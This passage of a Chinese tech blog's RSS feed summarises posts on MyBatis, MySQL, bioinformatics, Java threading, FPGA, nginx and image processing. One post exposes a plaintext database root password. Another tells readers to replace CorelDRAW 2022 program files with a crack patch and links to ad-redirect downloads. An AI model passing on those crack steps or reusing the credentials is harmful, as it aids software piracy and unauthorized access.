      <guid>https://bchobby.github.io/posts/f1f3731b8d83e6e8ffe931933e1fe42c/</guid>
      <description>目录&#xA;一、事务存在的意义&#xA;1.事务是什么？&#xA;2.Mybatis关于事务的管理&#xA;​&#xA;二、什么是缓存&#xA;1.什么是缓存&#xA;2.为什么使用缓存&#xA;3.什么样的数据能使用缓存&#xA;三、Mybatis缓存&#xA;1.一级缓存&#xA;1.一级缓存也叫本地缓存&#xA;2.测试一级缓存&#xA;3. 缓存失效的情况&#xA;2.二级缓存&#xA;一、事务存在的意义 1.事务是什么？ 多个操作同时进行,那么同时成功，那么同时失败。这就是事务。&#xA;事务有四个特性：一致性、持久性、原子性、隔离性&#xA;比如现在有两张表，老师和学生，删除这个老师（删除他的学生）&#xA;两种表 delete from 老师 where id = ?&#xA;delete from 学生 where t_id = ?&#xA;如果两个sql同时运行，必须两个都成功。&#xA;//配置事务的类型，是用本地事务策略 &amp;lt;transactionManager type=&#34;JDBC&#34;&amp;gt;&amp;lt;/transactionManager&amp;gt; 比如有一个订单业务&#xA;1.订单表当中添加一条记录&#xA;2.商品数量数据更新(减少)&#xA;3.....&#xA;当多个任务同时进行操作的时候，这些任务只能同时成功，或者同时失败。&#xA;2.Mybatis关于事务的管理 MyBatis框架中的事务默认是手动提交的，也就是每次编写程序都需要调用commit()方法提交事务&#xA;&amp;lt;transactionManager type=&#34;JDBC&#34;&amp;gt;&amp;lt;/transactionManager&amp;gt; ====》程序员自己控制处理的提交和回滚&#xA;设置自动提交事务，可以通过openSession的方法进行设置，openSession(true) 自动提交事务。代码如下：（配置中的策略不变）&#xA;public class UserTest { private InputStream in = null; private SqlSession session = null; private UserDao mapper = null; @Before //前置通知, 在方法执行之前执行 public void init() throws IOException { //加载主配置文件，目的是为了构建SqlSessionFactory对象 in = Resources.</description>
    </item>
    <item>
      <title>Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException: Could not create connec</title>
      <link>https://bchobby.github.io/posts/ec7d6e35093f5917822f749cb3fa8140/</link>
      <pubDate>Thu, 14 Apr 2022 22:48:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec7d6e35093f5917822f749cb3fa8140/</guid>
      <description> 今天复习mybatis的时候连接mysql出现：&#xA;Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException: Could not create connection to database server.&#xA;一直找不到原因，看着像是链接版本不支持，后查阅资料把mysql-connector版本升级，同时驱动由改为&#xA;&#34;com.mysql.cj.jdbc.Driver&#xA;问题解决。&#xA;mybatis配置文件 &amp;lt;dataSource type=&#34;POOLED&#34;&amp;gt; &amp;lt;!--property name=&#34;driver&#34; value=&#34;com.mysql.cj.jdbc.Driver&#34;/--&amp;gt; #这个可以 &amp;lt;property name=&#34;driver&#34; value=&#34;com.mysql.jdbc.Driver&#34;/&amp;gt; #这个升级mysql链接驱动也行，但是会提醒用com.mysql.cj.jdbc.Drive &amp;lt;property name=&#34;url&#34; value=&#34;jdbc:mysql://vps:3306/db1?useSSL=false&#34;/&amp;gt; &amp;lt;property name=&#34;username&#34; value=&#34;root&#34;/&amp;gt; &amp;lt;property name=&#34;password&#34; value=&#34;thriller830&#34;/&amp;gt; &amp;lt;/dataSource&amp;gt; pom文件 &amp;lt;!-- mysql 驱动 --&amp;gt; #之前 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.1.32&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; #版本升级 &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.0.15&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; </description>
    </item>
    <item>
      <title>【单细胞分析】P2.5、聚类，筛选marker基因，可视化</title>
      <link>https://bchobby.github.io/posts/05d0bad3852b91f8e3f1e4b7d13ed044/</link>
      <pubDate>Thu, 14 Apr 2022 21:54:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05d0bad3852b91f8e3f1e4b7d13ed044/</guid>
      <description>「生信技能树」单细胞数据挖掘_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1pa4y1s76J?p=8&#xA;#5.1 聚类 pc.num=1:20 #基于PCA数据 scRNA &amp;lt;- FindNeighbors(scRNA, dims = pc.num) # dims参数，需要指定哪些pc轴用于分析；这里利用上面的分析，选择20 scRNA &amp;lt;- FindClusters(scRNA, resolution = 0.5) table(scRNA@meta.data$seurat_clusters) 这里构建pc.nmu这个数列，相当于选取20个元素进行后续的计算。&#xA;Seurat识别细胞类群的原理（FindNeighbors和FindClusters） - 简书众所周知，seurat在降维之后主要依据两个函数来进行细胞分类，这里我们来深入了解一下seurat如何进行细胞分类的。首先我们来看有关分类的两个函数 我们来一一解决其中的问题...https://www.jianshu.com/p/ad6e616db6d6&#xA;findneighbors和findclusters是两种计算集合距离的方法，本质是用以判断两个集合的相似性。&#xA;dims在这里是选取的细胞数，resolution是分辨率，如果值越高，分的cluster越多，越低则产生的cluster越少。&#xA;# 进行线性降维处理 scRNA = RunTSNE(scRNA, dims = pc.num) DimPlot(scRNA, reduction = &#34;tsne&#34;,label=T) ?RunTSNE p3_1 &amp;lt;- DimPlot(scRNA, reduction = &#34;tsne&#34;,label=T) + labs(tag = &#34;E&#34;) p3_1 t-SNE&#xA;笔记 | 什么是TSNE - 知乎https://zhuanlan.zhihu.com/p/49073961里面有个英文教程，很适合理解t-SNE的基本原理。&#xA;本质是通过t分布转化高维数据的相似性信息并将之映射到低维的数据点中。&#xA;5.2 marker gene&#xA;#5.2 marker gene #进行差异分析，一般使用标准化数据 scRNA &amp;lt;- NormalizeData(scRNA, normalization.method = &#34;</description>
    </item>
    <item>
      <title>join()方法是否会释放锁？</title>
      <link>https://bchobby.github.io/posts/09d547311c3c1c0d201e4f2fc9696446/</link>
      <pubDate>Thu, 14 Apr 2022 21:44:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09d547311c3c1c0d201e4f2fc9696446/</guid>
      <description>众所周知，join()方法底层调用了wait()方法，那么wait()方法明明是会释放锁的，为什么会有join是否释放锁的这个问题出现呢?原因是因为join()方法只会释放内部锁（自己方便的叫法），不会释放外部锁（自己方便的叫法）。&#xA;废话不多说，上代码&#xA;public synchronized void test(Object obj){ //join不释放锁 可能引起死锁 thread.join(); } public synchronized void test(Thread thread){ //join释放锁 ，正常执行 thread.join(); } //解析如下 public synchronized void test(Object obj){ //join不释放锁，指的不会释放obj的锁，但是释放了thread的对象锁 //也就是相当于一个可重入锁 thread.join(); //上面的代码相当于 synchronized(Thread thread){ thread.wait(); } //然后wait释放时，释放了thread的对象锁,不会释放Obj的锁 } 总结&#xA;join只会释放内部锁，不会释放外部锁。</description>
    </item>
    <item>
      <title>node配置淘宝镜像源</title>
      <link>https://bchobby.github.io/posts/18f216076ea78216dd50cd95e32e7af2/</link>
      <pubDate>Thu, 14 Apr 2022 21:38:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18f216076ea78216dd50cd95e32e7af2/</guid>
      <description> npm config set registry https://registry.npm.taobao.org npm config set sass_binary_site https://npm.taobao.org/mirrors/node-sass/ </description>
    </item>
    <item>
      <title>进化算法——昂贵、有噪声与动态适应度函数</title>
      <link>https://bchobby.github.io/posts/313d66f63c4f1de2f2d36091f21adc8a/</link>
      <pubDate>Thu, 14 Apr 2022 16:09:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/313d66f63c4f1de2f2d36091f21adc8a/</guid>
      <description>1.昂贵适应度函数 在很多实际问题中，对适应度做一次评价会需要几分钟、几小时、几天甚至更长时间的计算或实验。我们在这里讨论如何减少适应度评价所需的时间以便降低进化算法对计算量的要求。&#xA;实际问题涉及的适应度函数常常包含下列的一种或多种特征：&#xA;做一次适应度函数评价需要数分钟、数小时、数天的时间；不能以并行的方式评价适应度函数；适应度函数评价的次数受到时间或其他资源的限制 下面几种方式有助于减少适应度函数评价的计算量。&#xA;对以评价过得个体不再计算其费用。如果个体看起来很好或太差，可以缩短适应度函数评价。如果需要在大量案例测试中评价费用函数，可以用测试案例的一个子集求近似费用。如果在计算机上评价适应度函数，可以采用让软件运行加速的标准方法。 （1）适应度函数的近似 我们可以建立适应度函数模型以减少评价适应度函数的工作。即使计算量不是瓶颈，我们也可以使用适应度函数模型来改善进化算法的性能。我们称这样的模型为代理、响应曲面或元模型。用代理这个词是因为可以用适应度模型临时替换精确的适应度评价。用元模型这个词是因为适应度评价本身也是一个近似值。因此，适应度函数模型是对高阶模型的降阶。&#xA;假设有一个适应度函数f(x)，我们已经在M个个体上对它做了评价。可以利用这M个函数值估计搜索空间中任一点的适应度。下图说明适应度估计的基本思路，基于已知的函数值生成一个估计。&#xA;几乎所有的近似算法都能用于适应度近似。最简单的一个估计算法是将个体的适应度近似为已经评价过得最近邻居的适应度。这个方法被称为适应度模仿，它退化为适应度景观的分段常值近似。&#xA;在上图中，当得到新的数据时应该如何更新适应度估计。我们希望适应度估计算法是迭代的，当有新的适应度信息时就更新。然而，如果适应度景观是动态的，在生成的时候估计算法不能完全相信旧的适应度函数。用新的数据更新适应度近似被称为在线代理更新。&#xA;适应度近似的另个一方法基于父代的适应度值为子代分配适应度，它被称为适应度继承。我们可以将子代的适应度近似为父代适应度值的平均，或者它与每一个父代的相似程度取加权平均。这个想法可以推广到子代有任意多父代的算法，也可以将这个思路扩展，让子代的适应度近似为整个群众适应度的加权平均，由子代与种群中已被评价过得每一个个体相似的程度来决定权重。还可以采用更高级的适应度继承，比如考虑独立变量和适应度值之间的相关性。特别地，对于多目标问题，适应度继承仅在帕累托前沿连续且为凸的情况下才有效。&#xA;a.多项式模型 适应度模仿的分段常值近似是一个好的起点，它告诉我们如何将适应度近似扩展为高阶多项式。例如，可以将适应度近似为线性函数&#xA;其中，n是问题的维数，x(k)是个体x的第k个元素。这是多项式模型的一个简单例子，它也被称为响应曲面，通过解下面的问题可以算出a(k)的值：&#xA;其中，M是我们已经确切知道适应度值的个体数，是其中第i个个体，是的第k个元素。欲求出让（2）式最小的（n+1）个参数a(k)，k属于[0,n]，可以用迭代最小二乘法，当得到更多适应度值（M=1,2，以此类推）时更新（2）式的解所需的计算量很少。&#xA;我们可以写出一个比（1）式线性模型更精确的模型：&#xA;这是一个二次模型，有（n^2+n+1）个参数。此模型关于参数a(k)和a(j，k)仍然是线性的，可以用迭代最小二乘法来求解，只要领会了多项式建模的思想，就可以尝试不同形式的模型，比如：&#xA;其中，g(·)和·h(·)可以是任意的线性或非线性函数。&#xA;我们也许想用非最小二乘的方法来近似适应度模型，比如，不是通过求解（2）式而是求解下面的问题找出模型：&#xA;这里还是（n+1）个参数a(k)上最小化。下图显示了最小化估计误差的平方和与最小最大化估计误差之间的差别。&#xA;（2）式的最小二乘准则较好，因为容易用解析方法求解，但最小最大化准则可能更稳健，因为能找出在最坏情况下误差最小的近似。为了在搜索空间的较困难的区域中减小近似误差，最小最大化近似会牺牲掉搜索空间中易于拟合区域的近似误差。&#xA;b.计算机实验的设计与分析 计算机实验设计与分析DACE是一个随机的近似方法，它用诊断测试度量近似的好坏。已知n维向量x的M个适应度函数评价，我们假定适应度函数可以近似为&#xA;其中，是一个常数（不一定是适应度函数评价的均值），是一个修正项。DACE假定,对所有x修正项是均值为0方差为的高斯分布；也就是说，f(x)的概率密度函数为&#xA;DACE的另一个重要假设是，对于x的不同值， 不独立，即若x的值相似，修正项也应该相似。DACE假定和之间的关系数可以表示如下：&#xA;其中，是第i个候选解的第k个元素，∈[1,2]和是参数模型，＞0是一个距离度量。若小，和的相关性接近1；若大，和的相关性接近0。已知M个适应度函数评价，我们把它们集中写成向量的形式：&#xA;其中，是一个列向量，它的每一个元素都是1.注意，我们用符号f(x)表示单个候选解x的适应度，也表示M个元素的向量，它包含的M个适应度；（9）中M个适应度函数的高斯概率密度哈数为&#xA;其中，C是协方差矩阵，方差都为的两个随机变量和之间的协方差可以表示为如下&#xA;因此，（10）式可以写成&#xA;其中，R是相关矩阵，R的第i行第j列的元素等于。&#xA;已知一组候选解和适应度评价f(x)的向量，我们可以找出测量得到的f(x)的值与假定的f(x)的参数形式匹配得最好的和的值。已知f(x)的随机性质，（12）式给出f(x)的概率密度函数与得到具体的f(x)的可能性成正比。因此，为找到f(x)的参数形式与f(x)的测量值之间的最好的拟合，我们要找出让（12）式的PDF(f(x))最大的和。首先考虑关于的偏导数并令它等于0，得到&#xA;这里忽略坟墓中的2，因为他独立于，解（13）式，有&#xA;取（12）式关于的偏导数，得到&#xA;令上面的式子等于0，有&#xA;（14）和（16）式给出了用DACE近似适应度函数的和的最优值。&#xA;现考虑候选解的M个适应度函数评价f(x)。假设适应度函数相关，如（8）式所示，假设我们得到另一个候选解的适应度函数评价。将适应度函数向量扩大为（M+1）个元素。&#xA;新的相关矩阵为&#xA;其中，r是M个适应度函数评价f(x)与新增的适应度函数评价的相关性向量。 我们想要关于 最大化（12）式的概率密度函数，由此得到最适合新数据 的形如（16）式的估计。它被称为极大似然估计。通过最大化&#xA;就能最大化（12）式的概率密度函数。用矩阵求逆引理可以证明&#xA;将它带入（19）式，有&#xA;想要最大化这个关于的表达式，就对求导并置为零，即&#xA;求，得到&#xA;这个式子告诉我们如何利用已有的模型来近似新的点的适应度值。推导出近似的均方误差为&#xA;我们利用均方误差可以为更多的适应度评价确定合适的采样点。在搜索空间中有两个区域会特别需要更多的适应度评价。首先，在适应度近似的最小值附近采样以期找到优化问题的更好的解。其次，在均方误差大的区域采样，因为这些区域中有很大的不确定性。&#xA;选择采样点以提高建模的准确度这种方式被称为主动学习。主动学习通常意味着学习算法中通过采样点来优化某个费用函数。&#xA;只要得到新的候选解，就可以用（23）式计算其适应度近似。&#xA;例1，我们用DACE估计二维Branin基准函数&#xA;其中，x(1)和x(2)是候选解的两个分量（n=2）。函数的域是x(1)∈[-5,10]，x(2)∈[0.15]。首先要决定用哪些采样点。我们在这里任意选定25个均匀分布于二维搜索域的采样点（M=25）。下面用MATLAB中的fmincon函数关于和最大化（12）式得到&#xA;接下来利用（23）式在细网格上近似f(x)。结果如下图所示，这个近似很好的捕捉了基准函数的基本形状，尤其是多峰的特征。&#xA;上例用的是均匀采样，用其他的采样方法得到的结果可能效果会更好。常用的采样方法有Latin超立方采样。此方法在每一维上将域分割为多个区间，然后在每一维的每一个区间中只设置一个采样点。与均匀采样相比，有时候它能捕捉函数无法预知的未知特征。下图说明均匀采样和Latin超立方采样的区别。&#xA;（a）显示在搜索域中均匀采样的4个点，（b）显示Latin超立方采样。注意，每一行每一列都只有一个点。Latin超立方采样不唯一。 例2，用Latin超立方采样与DACE估计例1的二维函数。我们任意决定用21个采样点（M=21）。用 MATLAB中的fmincon函数关于和最大化（12）式得到&#xA;接下来利用（23）式在细网格上近似f(x)。结果如下图所示，看起来用Latin超立方采样的结果比均匀采样的好。事实上，例1中用均匀采样的DACE近似的均方误差是24.9，而用Latin超立方采样的均方误差是14.3。即使采样点少，由Latin超立方采样得到的近似误差比均匀采样几乎好50%。可见采样方法会明显影响DACE的近似结果。&#xA;（2）近似变换函数 适应度近似方法有时候表现得不好，（23）式的DACE方法需要对矩阵求逆，但矩阵的逆可能不存在。如果逆不存在，可以用伪逆。不过，这里的要点是用来近似适应度函数的基函数可能与适应度函数的形状不太匹配。例如，用傅里叶函数近似一个不规则并带有尖锐边缘的函数，就不能指望在所有的函数域中的所有点上都有好的近似。在这种情况下，可以先对原始的适应度函数做变换，然后找出变换后的函数的近似。例如，我们对M个采样点评价了它的适应度函数。如果近似效果不好，在变换时可以取适应度函数样本的自然对数：&#xA;然后用采样点的找出L(x)的近似，记为。然后通过反变换得到原函数的近似：&#xA;例3，我们在Goldstein-Price函数上用DACE方法。&#xA;其中，x(1)和x(2)的域为[-2,2]。这个函数在它的最小值附近很平坦，在(1)=0和(2)=1处函数达到最小值，=3.DACE的近似方法对这个平坦的区域无能为力。&#xA;因为在平坦的区域中采样点高度相关，这意味着相关矩阵R中的一些列几乎全部都由1组成，R几乎是奇异的。 在本例中我们选用采样点的自然对数，如（29）式所示。函数的形状因此发生了巨大改变；它将靠在一起的较小的f(x)值摊开，将较大的f(x)值聚拢，这样会让相似的函数值分开同时压缩函数的总范围。然后我们用DACE近似L(x)，再计算原始函数的近似，如（30）式所示，凭借对近似过程的简单修改，我们可以得到一个不错的近似，如下图所示。&#xA;（3）在进化算法中如何使用适应度近似 这里有几个方案，首先，可以让适应度近似只替换固定比例r的适应度评价。假设适应度函数评价在进化算法的计算量中占据支配地位，这会让计算量从E减少到（1-r）E。但我们不能滥用这个思路，如果用近似替换的适应度评价过多，进化算法的收敛需要更多的时间，这样反而会浪费计算资源。在极端情况下，如果用近似替换所有的适应度评价r=1.此时计算量的确可能近似为0，但进化算法不会收敛到一个有用的结果。&#xA;另一个方案是在每一代多生成一些子代并用它们的近似适应度值决定哪些留作下一代。我们称这个想法为进化控制，或模型管理。如果用准确适应度评价某些个体并用近似适应度函数评价其他个体，我们称之为个体进化控制。可以用不同的方法决定哪些个体用准确评价哪些个体用近似评价。比如，对每一个个体随机的决定它的评价方式。也可以在每一代只对近似适应度好的个体用准确适应度评价。用准确适应度评价的个体被称为受控个体。</description>
    </item>
    <item>
      <title>FPGA&amp;MSP430实现等精度频率计</title>
      <link>https://bchobby.github.io/posts/eb59867aac33d5f2c597bc38f1f7254b/</link>
      <pubDate>Thu, 14 Apr 2022 12:42:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb59867aac33d5f2c597bc38f1f7254b/</guid>
      <description>前段时间依次实现了FPGA的等精度频率计和FPGA与430的通信测试。&#xA;FPGA频率计：Verilog设计练习 基于FPGA的等精度频率计_Krism0912的博客-CSDN博客_用verilog设计等精度频率计&#xA;FPGA与430通信测试：&#xA;FPGA与MSP430G2553通信 UART串口操作_Krism0912的博客-CSDN博客&#xA;由于FPGA中对数据运算过于麻烦，所以此次将上述两个成果进行了整合，将FPGA的数据通过串口传至MSP430后再进行运算。&#xA;在整合过程中碰到的一个百思不得其解的问题：串口测试中发现传输过去的Nx的值总是理论值的2倍。花了几个小时才最终弄清楚原因，下面稍做记录。&#xA;错误出现在FPGA的uart_tx原代码的改写。&#xA;改写的代码如下：&#xA;module uart_tx_1(&#xA;input clk, //9600Hz input [39:0]data_Nx,&#xA;input [39:0]data_Nb,&#xA;input rst,&#xA;input send_start_flag,&#xA;output reg txd&#xA;);&#xA;//串口发送状态机分为四个状态：等待、发送起始位、发送数据、发送完成&#xA;localparam IDLE = 0,&#xA;SEND_START = 1,&#xA;SEND_DATA = 2,&#xA;SEND_END = 3;&#xA;reg [3:0] state = IDLE;&#xA;reg [4:0] count = 0;&#xA;reg [39:0] data_o_tmp=0;&#xA;reg send_flag=0;&#xA;reg [6:0] send_data_num =0;&#xA;always @(posedge clk or negedge rst) begin if(!rst)&#xA;state &amp;lt;= IDLE;</description>
    </item>
    <item>
      <title>gitlab使用外部nginx反向代理</title>
      <link>https://bchobby.github.io/posts/830036b0e269797d380052d852996266/</link>
      <pubDate>Thu, 14 Apr 2022 10:51:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/830036b0e269797d380052d852996266/</guid>
      <description>1. vim /etc/gitlab/gitlab.rb&#xA;编辑nginx[&#39;listen_port&#39;] = 8888&#xA;此处的8888端口将用于proxy_pass处&#xA;2. 编辑外部nginx，在http区加入server段&#xA;server { listen 80; server_name git.corp.demo.com; location / { # 这个大小的设置非常重要，如果 git 版本库里面有大文件，设置的太小，文件push 会失败，根据情况调整 client_max_body_size 50m; proxy_redirect off; #以下确保 gitlab中项目的 url 是域名而不是 http://git，不可缺少 proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # 反向代理到 gitlab 内置的 nginx ，192.168.100.120为gitlab内容nginx服务IP地址 proxy_pass http://192.168.100.120:8888; #index index.html index.htm; } } 3. 重新reload nginx</description>
    </item>
    <item>
      <title>MATLAB报错：位置 3 处的索引超出数组边界(不能超出 1)。</title>
      <link>https://bchobby.github.io/posts/b55b24ea702412e85fae9185664bfd4c/</link>
      <pubDate>Thu, 14 Apr 2022 09:47:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b55b24ea702412e85fae9185664bfd4c/</guid>
      <description>博主造成这个问题的原因是数据中有单通道的灰度图，因此读入时有错误。</description>
    </item>
    <item>
      <title>Halcon形态学操作、区域处理相关常用API</title>
      <link>https://bchobby.github.io/posts/5648225e4dcb80180f6cc42815eceda5/</link>
      <pubDate>Thu, 14 Apr 2022 08:44:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5648225e4dcb80180f6cc42815eceda5/</guid>
      <description>膨胀一般用来填补物体中小的空洞和狭窄的缝隙，使物体的尺寸增大。&#xA;膨胀运算需要生成结构内核才能完成，在HALCON中使用gen_circle来生成圆形结构内核，这个函数的参数中：&#xA;（1）第一个参数Circle为输出的圆形结构区域；&#xA;（2）第二个参数Row为输入圆形区域中心行坐标；&#xA;（3）第三个参数是Column为输入圆形区域中心列坐标。&#xA;使用gen_rectangle1来生成矩形结构内核，这个函数的参数中：&#xA;（1）第一个参数Rectangle为输出的矩形结构区域；&#xA;（2）第二个参数Row1为输入的矩形区域的左上角点行坐标；&#xA;（3）第三个参数Column1位输入的矩形区域左上角点列坐标；&#xA;（4）第四个参数Row2为输入的矩形区域的右下角点行坐标；&#xA;（5）第五个参数Column2为输入的矩形区域右下角点列坐标。&#xA;使用gen_rectangle2来生成可以旋转的矩形结构内核，这个函数的参数中：&#xA;（1）第一个参数Rectangle为输出的矩形结构区域；&#xA;（2）第二个参数Row为输入矩形中心行坐标；&#xA;（3）第三个参数Column为输入矩形中心列坐标；&#xA;（4）第四个参数Phi为矩形的长轴与x轴的夹角，范围为-π/2～π/2；&#xA;（5）第五个参数Length1为矩形的长轴的长度的一半，即半长轴；&#xA;（6）第六个参数Length2为矩形的短轴的长度的一半，即半短轴。&#xA;使用gen_ellipse来生成椭圆结构内核，这个函数的参数中：&#xA;（1）第一个参数Ellipse为输出的椭圆结构区域；&#xA;（2）第二个参数Row为输入椭圆中心行坐标；&#xA;（3）第三个参数Column为输入椭圆中心列坐标；&#xA;（4）第四个参数Phi为椭圆的长轴与x轴的夹角，范围为-π/2～π/2；&#xA;（5）第五个参数Radius1为椭圆的长轴；&#xA;（6）第六个参数Radius2为椭圆的短轴。&#xA;使用gen_region_polygon函数来生成多边形结构内核，这个函数的参数中：&#xA;（1）第一个参数Region为输出的多边形结构内核区域；&#xA;（2）第二个参数Rows为多边形的角点的行坐标组；&#xA;（3）第三个参数Columns为多边形的角点的列坐标组。&#xA;在HALCON当中，使用dilation1函数来实现膨胀变换，这个函数的参数中：&#xA;（1）第一个参数Region为要进行膨胀的区域；&#xA;（2）第二个参数StructElement为结构内核区域；&#xA;（3）第三个参数RegionDilation为膨胀后的区域；&#xA;（4）第四个参数Iterations为迭代的次数。&#xA;使用dilation2函数来实现可以改变结构内核锚点的膨胀，这个函数的参数中：&#xA;（1）第一个参数Region为要进行膨胀的区域；&#xA;（2）第二个参数StructElement为结构内核区域；&#xA;（3）第三个参数RegionDilation为膨胀后的区域；&#xA;（4）第四个参数Row为锚点的行坐标；&#xA;（5）第五个参数Column为锚点的列坐标；&#xA;（6）第六个参数Iterations为迭代的次数。&#xA;使用dilation_circle函数来实现以圆为结构内核的膨胀，这个函数的参数中：&#xA;（1）第一个参数Region为要进行膨胀的区域；&#xA;（2）第二个参数RegionDilation为膨胀后的区域；&#xA;（3）第三个参数Radius为圆形内核的半径。&#xA;使用dilation_rectangle1函数来实现以长方形为结构内核的膨胀，这个函数的参数中：&#xA;（1）第一个参数Region为要进行膨胀的区域；&#xA;（2）第二个参数RegionDilation为膨胀后的区域；&#xA;（3）第三个参数Width为结构内核的宽度；&#xA;（4）第四个参数Height为结构内核的高度。&#xA;腐蚀用来消除小块区域和细长的区域。&#xA;开运算是先腐蚀再膨胀，利用结构元素B对A进行开运行的数学表达式为A◦B=（AΘB）⊕B&#xA;开运算能够使得图像边缘变得平滑，消除毛刺和狭窄的连接，但是又可以保持本体区域大小不变。&#xA;在HALCON中使用opening函数来实现开运算，这个函数的参数中：&#xA;（1）第一个参数Region为要进行开运算的区域；&#xA;（2）第二个参数StructElement为结构内核区域；&#xA;（3）第三个参数RegionOpening为开运算后的区域。&#xA;使用opening_circle来实现圆形结构内核的开运算，这个函数的参数中：&#xA;（1）第一个参数Region为要进行开运算的区域；&#xA;（2）第二个参数RegionOpening为开运算后的区域；&#xA;（3）第三个参数Radius为圆形结构内核的半径。&#xA;使用opening_rectangle1来实现矩形结构内核的开运算，这个函数的参数中：&#xA;（1）第一个参数Region为要进行开运算的区域；&#xA;（2）第二个参数RegionOpening为开运算后的区域；&#xA;（3）第三个参数Width为矩形内核的宽度；&#xA;（4）第四个参数Height为矩形内核的高度。&#xA;闭运算是先膨胀再腐蚀，利用结构元素B对A进行闭运行的数学表达式为A·B=（A⊕B）ΘB&#xA;闭运算能够填补小型黑洞，并连接区域。&#xA;在HALCON中使用closing函数来实现闭运算，这个函数的参数中：</description>
    </item>
    <item>
      <title>cdr2022补丁源文件实战安装教程</title>
      <link>https://bchobby.github.io/posts/7b44c120778ef2ebcf8be1a996f39f79/</link>
      <pubDate>Wed, 13 Apr 2022 22:21:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b44c120778ef2ebcf8be1a996f39f79/</guid>
      <description>cdr2022功能很多，支持手动绘图，支持使用模板绘图，支持文本编辑，支持表格编辑，支持图形效果调整，为用户提供更丰富的图形设计方案，非常适合需要设计矢量图的朋友使用！&#xA;1、下载并进行解压即可获得cdr2022文件以及布丁&#xA;2、双击“Setup.exe”依提示进行安装，使用自动生成的离线安装&#xA;3、选择安装类型，点击自定义安装&#xA;4、安装你想要的程序&#xA;5、点击安装&#xA;6、安装完成&#xA;7、将布丁复制替换到 C:\Program Files\Corel\CorelDRAW Graphics Suite 2022\Programs64 目录下即可&#xA;8、至此，软件安装成功，用户可以使用，以上就是coreldraw2022版的详细安装教程&#xA;从令人惊叹的艺术作品到震撼的网页设计和出色打印，它能为你提供所有工具，让你的工作更快、更智能，让你打造满意的效果。利用一系列丰富直观的工具、内置的学习资料、样本文件和项目模板，快速、轻松开始创作。&#xA;最后该软件就安装可以使用了!直接下载2022&#xA;CorelDRAW2022订阅版mac-安装包&#xA;https://wm.makeding.com/iclk/?zoneid=49497&#xA;CorelDRAW2022订阅版win-安装包&#xA;https://wm.makeding.com/iclk/?zoneid=49498&#xA;2022 版新增功能，颠覆性协作工具&#xA;与客户和同事进行前所未有的设计交流。在云端与您的审阅者共享您的概念，使用 CorelDRAW.app 邀请他们查看并直接在您的 CorelDRAW 设计文件上进行注释和评论。将一个或多个参与者的反馈全部集中到一处（即您的工作文件中），让设计更改变得更加容易。&#xA;2022 版新增功能，先进的排版&#xA;全新的排版技术和增强版的核心键入工具实现精美排版。&#xA;通过可变字体支持微调字体。&#xA;使用全新的编号列表和增强版项目符号列表，轻松设置段落格式。&#xA;享受 Web 和桌面之间无缝衔接的文本工作流程。&#xA;2020 版新增功能，全新水平的跟踪结果&#xA;令人印象深刻的全新 AI 驱动的 PowerTRACE™，让您享受出色的位图转矢量图跟踪结果。利用最先进的图像优化技术，可以提高跟踪时的位图质量。&#xA;2022 版新增功能，了不起的人工智能驱动图像解决方案&#xA;机器学习的模型可以帮助提高您的设计能力并加快工作流程，让人惊艳。&#xA;利用人工智能放大图像而不失细节。&#xA;消除高度压缩 JPEG 图像产生的噪点&#xA;将新的机器学习的效果应用于位图和矢量。&#xA;使用新的“智能选择”工具可以更快、更准确地创建遮罩。&#xA;2022 版新增功能，性能大幅提升&#xA;使用明显更快、响应更灵敏的应用程序套件，可以更高效地工作并获得更好的结果。最高十倍于上一版本的速度，让您在最快的时间内完成概念到设计完成的整个过程。&#xA;2022 版新增功能，一切因您而更美好&#xA;感谢您的宝贵意见，我们在 CorelDRAW 中增强了“查找和替换”\“对齐和分布”、阴影效果等功能。您最喜欢的 Corel PHOTO-PAINT 功能 — 从遮罩、效果和透镜到“替换颜色”— 均已优化！</description>
    </item>
    <item>
      <title>分布式事务相关面试题</title>
      <link>https://bchobby.github.io/posts/dfa8a4e2516b72735d1d64138bdad68c/</link>
      <pubDate>Wed, 13 Apr 2022 20:50:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dfa8a4e2516b72735d1d64138bdad68c/</guid>
